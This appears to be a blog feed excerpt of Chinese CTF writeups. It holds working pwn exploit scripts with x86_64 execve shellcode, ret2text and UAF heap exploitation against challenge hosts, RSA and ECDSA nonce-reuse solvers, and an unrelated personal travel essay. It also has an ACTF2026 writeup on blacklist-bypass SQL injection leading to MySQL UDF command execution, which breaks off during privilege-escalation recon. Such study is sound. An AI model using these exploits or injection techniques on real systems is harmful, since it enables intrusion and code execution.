# x86_64 架构下 execve(&apos;/bin//sh&apos;) 的精简 shellcode
SHELLCODE = bytes.fromhex(&quot;4831f65648bf2f62696e2f2f736857545f6a3b58990f05&quot;)

def recv_until(sock, marker):
    data = b&quot;&quot;
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk: break
        data += chunk
    return data

with socket.create_connection((HOST, PORT)) as sock:
    banner = recv_until(sock, b&quot;Message: &quot;)
    # 正则提取泄露的栈地址
    match = re.search(rb&quot;Buffer at: (0x[0-9a-fA-F]+)&quot;, banner)
    buf_addr = int(match.group(1), 16)
    print(f&quot;[+] leaked buf = {buf_addr:#x}&quot;)
    
    # 构造攻击 payload
    payload = b&quot;\x90&quot; * 32 + SHELLCODE
    payload = payload.ljust(BUF_SIZE, b&quot;A&quot;)
    payload += struct.pack(&quot;&amp;lt;Q&quot;, 0xdeadbeefdeadbeef) # fake RBP
    payload += struct.pack(&quot;&amp;lt;Q&quot;, buf_addr)           # 覆写 RIP 回跳到栈上执行
    
    sock.sendall(payload)
    time.sleep(0.2)
    sock.sendall(b&quot;cat /flag\n&quot;)
    
    # 打印回显
    print(sock.recv(4096).decode(&apos;latin1&apos;, &apos;ignore&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{967b9a20b417271ac0d8fc77a772cf48}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(三) PWN-NoteService&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;本题属于标准的 &lt;strong&gt;ret2text（跳转后门）&lt;/strong&gt; 栈溢出题。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;保护情况：&lt;/strong&gt; 程序虽然开启了 NX（栈不可执行），但是&lt;strong&gt;没有开启 Canary 与 PIE 保护&lt;/strong&gt; 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;漏洞分析：&lt;/strong&gt; 在 &lt;code&gt;vuln()&lt;/code&gt; 函数中，定义的局部变量栈缓冲区 &lt;code&gt;buf&lt;/code&gt; 只有 &lt;code&gt;0x40&lt;/code&gt; 字节大小，但是随后的 &lt;code&gt;read(0, buf, 0x100)&lt;/code&gt; 明显存在严重的输入跨界，引发栈溢出 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;漏洞利用：&lt;/strong&gt; * 缓冲区到返回地址的计算偏移为：&lt;code&gt;0x40 (buf 到 RBP 的距离) + 8 (Saved RBP) = 72 字节&lt;/code&gt; 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;静态逆向发现程序本身提供了一个名为 &lt;code&gt;secret_note()&lt;/code&gt; 的隐蔽后门函数（地址固定为 &lt;code&gt;0x401196&lt;/code&gt;），该函数内部会调用 &lt;code&gt;system(&apos;/bin/sh&apos;)&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;为了解决 64 位下 &lt;code&gt;system&lt;/code&gt; 执行时的栈指针 16 字节对齐崩溃问题，在 payload 覆盖链路中加入一个 &lt;code&gt;ret&lt;/code&gt; 拦截平齐指令（地址为 &lt;code&gt;0x40101a&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;最终利用脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from socket import create_connection
from struct import pack
import time

host, port = &quot;47.99.147.34&quot;, 21314
ret = 0x40101a
secret_note = 0x401196

# 填充 72 字节后，依次写入 ret 对齐组件与后门跳转目标
payload = b&quot;A&quot; * 72 + pack(&quot;&amp;lt;Q&quot;, ret) + pack(&quot;&amp;lt;Q&quot;, secret_note)

s = create_connection((host, port))
s.recv(4096)
s.sendall(payload)
time.sleep(0.2)
s.sendall(b&quot;cat /flag\n&quot;)
time.sleep(0.2)
print(s.recv(4096).decode(&quot;latin1&quot;, &quot;ignore&quot;))
s.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{d9fcee27c6a249b046bfd61de6825aab}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(四) PWN-UserManager&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;本题针对 glibc 2.23 堆管理，是一个非常经典的 &lt;strong&gt;UAF（Use-After-Free）与 Fastbin 堆块复用&lt;/strong&gt; 的高级考题 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;保护机制：&lt;/strong&gt; 程序全开（RELRO 全开、Canary、NX、PIE 开启），传统的栈破坏或覆写 GOT 表的方法失效，必须要通过精确的堆内存布局进行攻击 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;逆向分析结构：&lt;/strong&gt; 用户系统拥有 &lt;code&gt;Register&lt;/code&gt;、&lt;code&gt;Login&lt;/code&gt;、&lt;code&gt;Edit&lt;/code&gt;、&lt;code&gt;Delete&lt;/code&gt; 4个功能 。核心的用户存储结构体大小为 &lt;code&gt;0x18&lt;/code&gt; 字节，布局如下 ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct user {
    char *name;          // +0x00，指向分配出来的密码/字符串缓冲区
    void (*func)(char*); // +0x08，函数指针，注册时默认为 show 函数
    long size;           // +0x10，密码缓冲区的最大合法长度
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;漏洞位置：&lt;/strong&gt; 在 &lt;code&gt;Delete&lt;/code&gt; 释放堆块时，程序仅仅调用了 &lt;code&gt;free(users[id]-&amp;gt;name)&lt;/code&gt; 和 &lt;code&gt;free(users[id])&lt;/code&gt;，&lt;strong&gt;但是没有将对应的 users[id] 指针置为 NULL&lt;/strong&gt;，导致了悬空指针（Dangling Pointer）和典型的 UAF 漏洞 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用链设计：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Libc 盲读泄露（难点）：&lt;/strong&gt; 远端环境没有输出，由于 &lt;code&gt;Login&lt;/code&gt; 校验通过后才会打印，利用 &lt;code&gt;strcmp&lt;/code&gt; 遇到 &lt;code&gt;\x00&lt;/code&gt; 截断的行为，通过逐位 Edit 修改指针低字节并配合 &lt;code&gt;Login&lt;/code&gt; 的成功与否作为 Oracle 判定机制，对处于 Unsorted bin 中释放残留的 &lt;code&gt;main_arena+88&lt;/code&gt; 进行高位向低位的逐字节爆破，实现 Libc 基址的盲读泄露 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;劫持控制流：&lt;/strong&gt; 通过 Fastbin 堆分配机制的完美复用，使得后申请的新用户的 &lt;code&gt;name&lt;/code&gt; 字符串缓冲区恰好覆盖到前一个被释放但指针依然悬空有效的 &lt;code&gt;user 结构体&lt;/code&gt; 头部 。从而我们可以借助 &lt;code&gt;Edit&lt;/code&gt; 修改悬空结构体内的 &lt;code&gt;func&lt;/code&gt; 指针，将其劫持改写为 libc 内的 &lt;code&gt;system&lt;/code&gt; 绝对地址，同时将 &lt;code&gt;name&lt;/code&gt; 指针指向字符串 &lt;code&gt;/bin/sh&lt;/code&gt; 。当再次调用 &lt;code&gt;Login&lt;/code&gt; 成功触发 &lt;code&gt;users[id]-&amp;gt;func(...)&lt;/code&gt; 时，等同于执行 &lt;code&gt;system(&apos;/bin/sh&apos;)&lt;/code&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;核心利用 Exp 代码&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *
context.update(arch=&apos;amd64&apos;, os=&apos;linux&apos;, log_level=&apos;debug&apos;)

HOST, PORT = &apos;47.99.147.34&apos;, 19588
libc = ELF(&apos;./libc-2.23.so&apos;, checksec=False)

io = remote(HOST, PORT)

def choice(n): io.sendlineafter(b&apos;Your choice:&apos;, str(n).encode())
def register(idx, size, data):
    choice(2); io.sendlineafter(b&apos;id:&apos;, str(idx).encode()); io.sendlineafter(b&apos;length:&apos;, str(size).encode()); io.sendafter(b&apos;password:&apos;, data)
def login(idx, size, data):
    choice(1); io.sendlineafter(b&apos;id:&apos;, str(idx).encode()); io.sendlineafter(b&apos;length:&apos;, str(size).encode()); io.sendafter(b&apos;password:&apos;, data)
def delete(idx): choice(3); io.sendlineafter(b&apos;id:&apos;, str(idx).encode())
def edit(idx, data): choice(4); io.sendlineafter(b&apos;id:&apos;, str(idx).encode()); io.sendafter(b&apos;new pass:&apos;, data)

# 1. 构造堆块释放链
register(0, 0x80, b&apos;a&apos;)       
register(1, 0x20, b&apos;b&apos;)       
delete(0)
delete(1)

# 2. 堆块复用，使我们可以通过写 user[2] 的密码来直接篡改 user[1] 结构体
register(2, 0x18, p8(0x20))
register(3, 0x80, b&apos;aaaa&apos;)

# 3. 逐字节爆破盲读泄露 main_arena 残留指针
leak_data = b&apos;&apos;
start_offset = 0x1d
for idx in range(1, 7):
    edit(2, p8(start_offset))
    for byte_val in range(0x100):
        guess = p8(byte_val) + leak_data
        login(1, idx, guess)
        if b&apos;success&apos; in io.recvuntil(b&apos;\n&apos;):
            leak_data = p8(byte_val) + leak_data
            break
    start_offset -= 1

libc_leak = u64(leak_data.ljust(8, b&apos;\x00&apos;))
libc_base = libc_leak - 0x3c4b78 # 2.23环境下偏置
system_addr = libc_base + libc.symbols[&apos;system&apos;]

# 4. 精确劫持改写悬空结构体内的函数指针
edit(2, p8(0xa8)) # 让其指向users[0]-&amp;gt;func
edit(1, p64(system_addr))

# 5. 垫入参数，触发拿 shell
edit(0, b&apos;/bin/sh\x00&apos;)
login(0, len(b&apos;/bin/sh\x00&apos;), b&apos;/bin/sh\x00&apos;)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag 状态：&lt;/strong&gt; 本地验证成功打通，靶机关闭前已成功捕获远程 Flag 。&lt;/p&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;(一) BabyRSA7&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;题目给出的 RSA 公钥指数参数 $e = 3$ 极其小 ，典型的&lt;strong&gt;小公钥指数攻击（Low Exponent Attack）&lt;/strong&gt;。当 $e=3$ 时，若明文的 $e$ 次方大过模数 $n$，可以通过引入一个未知的整倍数 $k$，使得明文满足关系：&lt;/p&gt;
&lt;p&gt;$m^3 = k \cdot n + c$&lt;/p&gt;
&lt;p&gt;由于 $e$ 只有 3，我们只需要从 $k = 0$ 开始在整数域内向上递增穷举，每次计算 $(k \cdot n + c)$ 的开立方根（使用 gmpy2 的 &lt;code&gt;iroot&lt;/code&gt; 函数），当检测到其开立方后的第二个返回值返回 &lt;code&gt;True&lt;/code&gt;（说明正好是一个完美的整数立体完全立方数）时，该开方值即为我们所求的原始消息明文值 $m$ 。&lt;/p&gt;
&lt;h4&gt;求解脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669

k = 0
while True:
    res = iroot(k * n + c, e)
    if res[1]: # 如果完美开方
        print(&quot;[+] Found Flag:&quot;)
        print(long_to_bytes(res[0]).decode())
        break
    k += 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{769cc0209669698952823747f21eb10e}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(二) ScatterRSA5&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;已知存在多组加密参数和其线性关系比对 ：&lt;/p&gt;
&lt;p&gt;$$(a_i \cdot m + b_i)^3 \equiv c_i \pmod{n_i}$$&lt;/p&gt;
&lt;p&gt;可以据此为每一组构造一个高阶多项式方程式：&lt;/p&gt;
&lt;p&gt;$$f_i(x) = (a_i \cdot x + b_i)^3 - c_i$$&lt;/p&gt;
&lt;p&gt;从而真实未知的消息根 $m$ 一定完美使得 $f_i(m) \equiv 0 \pmod{n_i}$ 恒成立 。&lt;/p&gt;
&lt;p&gt;因为题目给出了 3 组完全独立的不同的模数 $n_i$，我们可以用中国剩余定理（CRT）把这三个独立的多项式完美拼接合并成一个模大数 $N$ 的单多项式方程式 ：&lt;/p&gt;
&lt;p&gt;$$F(x) \equiv 0 \pmod N \quad (\text{其中 } N = n_1 \cdot n_2 \cdot n_3)$$&lt;/p&gt;
&lt;p&gt;由于 Flag 本身的边界很短，明文根 $m$ 相对大数模数 $N$ 的量级非常小，且公钥方次 $e = 3$，完全契合 &lt;strong&gt;Coppersmith 单变量小根求解边界定理条件&lt;/strong&gt;。我们可以直接通过 SageMath 下的多项式自带方法 &lt;code&gt;.small_roots()&lt;/code&gt; 在格（Lattice）规约的帮助下轻松快速解出明文整数根 。&lt;/p&gt;
&lt;h4&gt;SageMath 求解脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes
from sage.all import *

e = 3
# 填入题目给定的 3 组参数
n1 = ...; a1 = ...; b1 = ...; c1 = ...
n2 = ...; a2 = ...; b2 = ...; c2 = ...
n3 = ...; a3 = ...; b3 = ...; c3 = ...

N = n1 * n2 * n3
N1, N2, N3 = N // n1, N // n2, N // n3
t1, t2, t3 = inverse_mod(N1, n1), inverse_mod(N2, n2), inverse_mod(N3, n3)

PR.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(N))
# CRT 多项式组合拼接
F = (
    ((a1*x + b1)^3 - c1) * N1 * t1 +
    ((a2*x + b2)^3 - c2) * N2 * t2 +
    ((a3*x + b3)^3 - c3) * N3 * t3
)
F = F.monic()

# 运用 Coppersmith 方法寻找小根
roots = F.small_roots(X=2^350, beta=1.0, epsilon=1/20)
if roots:
    print(long_to_bytes(int(roots[0])))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{83f32ba281c5fc035b02c2fe1e7a270e}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(三) ECDSA nonce 重用&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;通过提取分析题目 &lt;code&gt;challenge.json&lt;/code&gt; 附带的公开已知签名数组，能发现一个致命的安全设计缺陷 ：&lt;/p&gt;
&lt;p&gt;$$\text{signature1_r} == \text{signature2_r}$$&lt;/p&gt;
&lt;p&gt;在标准 &lt;strong&gt;ECDSA（椭圆曲线数字签名算法）&lt;/strong&gt; 中，如果对两个不同的消息做数字签名时不幸&lt;strong&gt;重用/复用了相同的随机数 nonce $k$&lt;/strong&gt;，因为随机点 $R = k \cdot G$ 保持不变，进而必然产生完全相同的签名分量 $r$ 。这使得私钥 $d$ 能够被以完全初等的代数方式直接恢复算出来 。&lt;/p&gt;
&lt;p&gt;根据标准 ECDSA 签名方程 ：&lt;/p&gt;
&lt;p&gt;$$s_1 \equiv k^{-1}(z_1 + r \cdot d) \pmod n$$&lt;/p&gt;
&lt;p&gt;$$s_2 \equiv k^{-1}(z_2 + r \cdot d) \pmod n$$&lt;/p&gt;
&lt;p&gt;两方程相减可以成功消去含有未知私钥 $d$ 的那一项 ：&lt;/p&gt;
&lt;p&gt;$$s_1 - s_2 \equiv k^{-1}(z_1 - z_2) \pmod n$$&lt;/p&gt;
&lt;p&gt;从而我们可以直接恢复出本次签名的随机秘密参数 $k$ ：&lt;/p&gt;
&lt;p&gt;$$k \equiv (z_1 - z_2) \cdot (s_1 - s_2)^{-1} \pmod n$$&lt;/p&gt;
&lt;p&gt;获取到秘密的签名随机数 $k$ 后，随即可带回任意一行原本的签名公式，将唯一的终极私钥参数 $d$ 完整分离解算出来 ：&lt;/p&gt;
&lt;p&gt;$$d \equiv (s_1 \cdot k - z_1) \cdot r^{-1} \pmod n$$&lt;/p&gt;
&lt;p&gt;根据题目要求的 Flag 格式，将推导计算出的私钥 $d$ 转换成 16 进制小写格式，取其&lt;strong&gt;前 32 位&lt;/strong&gt;拼接放入 &lt;code&gt;flag{ecdsa_nonce_reuse_...}&lt;/code&gt; 中即可 。&lt;/p&gt;
&lt;h4&gt;求解脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import hashlib

# secp256k1 标准曲线参数
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

def inv(a, m): return pow(a % m, -1, m)

with open(&quot;challenge.json&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    c = json.load(f)

# 计算两份公开明文的哈希摘要值
z1 = int.from_bytes(hashlib.sha256(bytes.fromhex(c[&quot;message1&quot;])).digest(), &quot;big&quot;)
z2 = int.from_bytes(hashlib.sha256(bytes.fromhex(c[&quot;message2&quot;])).digest(), &quot;big&quot;)

r = int(c[&quot;signature1_r&quot;])
s1 = int(c[&quot;signature1_s&quot;])
s2 = int(c[&quot;signature2_s&quot;])

# 数论倒数及乘法计算恢复私钥
k = ((z1 - z2) * inv(s1 - s2, n)) % n
d = ((s1 * k - z1) * inv(r, n)) % n

private_hex = format(d, &quot;064x&quot;)
print(&quot;flag{ecdsa_nonce_reuse_&quot; + private_hex[:32] + &quot;}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{ecdsa_nonce_reuse_7880119303429b4ed0e4237c584e0795}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>水仙narcissu~向死而生</title><link>https://ymsora.com/posts/narcissu/</link><guid isPermaLink="true">https://ymsora.com/posts/narcissu/</guid><description>淡路岛，水仙乡</description><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;水仙narcissu~向死而生&lt;/h1&gt;
&lt;p&gt;我在水仙乡里写下这篇杂谈，啊，固然自己的选择是难得的，我不想放弃任何，我也不会失去任何，&lt;/p&gt;
&lt;p&gt;好耀眼的阳光，如果不能如愿选择自己生存的方式的话。那真的叫活着吗&lt;/p&gt;
&lt;p&gt;一眼望去尽是碧蓝的海面，以及心灵也跟着平静起来，&lt;/p&gt;
&lt;p&gt;为了不直接反抗荒谬的逃避，死亡永远是选择&lt;/p&gt;
&lt;p&gt;死亡的荒谬也是来源于我们的选择，以及影响&lt;/p&gt;
&lt;p&gt;我相信着，仅此而已，比起及其自我活在荒诞的人&lt;/p&gt;
&lt;p&gt;我更愿意做一个殉道者，事实如此&lt;/p&gt;
&lt;p&gt;我要做的，只是活下去吧，其他的，交给我就好&lt;/p&gt;
&lt;p&gt;太阳要把我的mac晒烧起来了&lt;/p&gt;
&lt;p&gt;谨记现在的我，祝我自由，&lt;/p&gt;
&lt;p&gt;随风而行，随风而去，&lt;/p&gt;
&lt;p&gt;Soraのキセキ&lt;/p&gt;
&lt;p&gt;很多东西都太过沉重，我担心的或许一直会成为我的束缚&lt;/p&gt;
&lt;p&gt;但是，我喜欢的，我认同的，&lt;/p&gt;
&lt;p&gt;很多时候与在万维网中的幽灵不一样，我不仅仅是一个幽灵&lt;/p&gt;
&lt;p&gt;然而，真真切切的，复杂的事物混合的化学反应极难调和&lt;/p&gt;
&lt;p&gt;烦恼，迷茫，但是依然循心而行吧，不完美的过程对我来说，&lt;/p&gt;
&lt;p&gt;行进吧，不论是我的抗拒，或是迷茫，又是自私，我都接受&lt;/p&gt;
&lt;p&gt;存在与心，与我，&lt;/p&gt;
&lt;p&gt;但是，我会一直坚定地选择你，問いwhy?&lt;/p&gt;
&lt;p&gt;因为，那是心之所往&lt;/p&gt;
&lt;p&gt;oh，现在是1天后，我在大阪，看完了cowboy bebop&lt;/p&gt;
&lt;p&gt;现在想来，我从来就不知到吧&lt;/p&gt;
&lt;p&gt;就这样做一个美梦也不错，旅行的散漫也快要结束了，&lt;/p&gt;
&lt;p&gt;美梦是没法一直持续下去的，深刻得意识到&lt;/p&gt;
&lt;p&gt;无论如何，我都会坦然面对这一切吧，&lt;/p&gt;
&lt;p&gt;如此如此，让时间流逝吧&lt;/p&gt;
</content:encoded></item><item><title>ACTF2026 wp</title><link>https://ymsora.com/posts/actf2026/</link><guid isPermaLink="true">https://ymsora.com/posts/actf2026/</guid><description>想想想想想</description><pubDate>Sun, 17 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;GoMySql Writeup&lt;/h2&gt;
&lt;hr /&gt;
&lt;h2&gt;一、Web 层分析&lt;/h2&gt;
&lt;h3&gt;1. 基本信息&lt;/h3&gt;
&lt;p&gt;逆向 &lt;code&gt;remote_myapp.bin&lt;/code&gt; 可以拿到硬编码 DSN：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root:root123456@tcp(localhost:3306)/testdb?parseTime=true&amp;amp;multiStatements=true&amp;amp;allowAllFiles=false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;路由只有三个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/
/calc
/draw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中重点在 &lt;code&gt;/calc&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;2. &lt;code&gt;/calc&lt;/code&gt; 的关键逻辑&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/calc&lt;/code&gt; 会把用户输入包装成 SQL 表达式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT %s;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时 DSN 中开启了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;multiStatements=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着，只要能够绕过过滤，就可以通过一条请求执行多条 SQL 语句。&lt;/p&gt;
&lt;p&gt;例如理论上可以构造：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;SHOW DATABASES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终后端实际执行的效果类似于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT 1;
SHOW DATABASES;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;3. 黑名单分析&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/calc&lt;/code&gt; 会先把输入转换成大写，然后进行黑名单检查。&lt;/p&gt;
&lt;p&gt;黑名单包括：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT
UPDATE
OUTFILE
DUMPFILE
FUNCTION
SCHEMA
_
FLAG
PREPARE
DELETE
DROP
ALTER
CREATE
UNION
SELECT
=
@@
SET
INTO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来限制很多，但仍然留下了几个关键语法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHOW
USE
DESC
TABLE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些关键字都没有被拦截。&lt;/p&gt;
&lt;p&gt;尤其是 &lt;code&gt;TABLE 表名&lt;/code&gt; 很关键。&lt;/p&gt;
&lt;p&gt;在 MySQL 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TABLE users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等价于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是输入中不需要出现 &lt;code&gt;SELECT&lt;/code&gt;，因此可以绕过黑名单。&lt;/p&gt;
&lt;p&gt;所以这题的本质是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;黑名单 SQL 注入 + MySQL 多语句执行绕过。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4. &lt;code&gt;/draw&lt;/code&gt; 的情况&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/draw&lt;/code&gt; 中有一个自定义模板引擎，支持类似下面的语法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\ func(&apos;arg&apos;); unsafe /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中确实存在 &lt;code&gt;run(cmd)&lt;/code&gt; 之类的执行函数，最后会走：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/sh -c &amp;lt;cmd&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是 &lt;code&gt;/draw&lt;/code&gt; 对输入做了额外限制，直接构造可用标签并不方便。&lt;/p&gt;
&lt;p&gt;实际解题过程中，这条线不是主要利用点，更像是干扰项。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、通过 SQL 注入拿到命令执行&lt;/h2&gt;
&lt;h3&gt;1. 多语句探测&lt;/h3&gt;
&lt;p&gt;由于 &lt;code&gt;multiStatements=true&lt;/code&gt;，可以先通过如下语句探测数据库结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;SHOW DATABASES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;切换数据库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;USE testdb;SHOW TABLES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看表结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;USE testdb;DESC 表名;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读取表内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;USE testdb;TABLE 表名;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的重点是 &lt;code&gt;TABLE 表名&lt;/code&gt;，因为它可以在不出现 &lt;code&gt;SELECT&lt;/code&gt; 的情况下读取表内容。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;2. 利用 UDF 拿命令执行&lt;/h3&gt;
&lt;p&gt;最终利用方向是 MySQL UDF。&lt;/p&gt;
&lt;p&gt;整体思路如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;上传 &lt;code&gt;do_system_udf.so&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;在 MySQL 中注册 UDF。&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;do_system()&lt;/code&gt; 执行系统命令。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;注册 UDF：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE FUNCTION do_system RETURNS INTEGER SONAME &apos;do_system_udf.so&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后即可执行命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT do_system(&apos;id&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际连接目标后确认身份：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=100(mysql) gid=101(mysql) groups=101(mysql)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，Web 层 RCE 拿到的是 &lt;code&gt;mysql&lt;/code&gt; 用户权限。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、本地提权分析&lt;/h2&gt;
&lt;h3&gt;1. 目标环境&lt;/h3&gt;
&lt;p&gt;拿到 shell 后先摸环境。&lt;/p&gt;
&lt;p&gt;当前用户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;系统版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Debian 12 bookworm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内核版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Linux 46b81d0535c2 4.18.0-240.el8.x86_64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键 SUID 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中最特殊的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件是 SUID root，并且会调用 PAM。&lt;/p&gt;
&lt;hr /&gt;
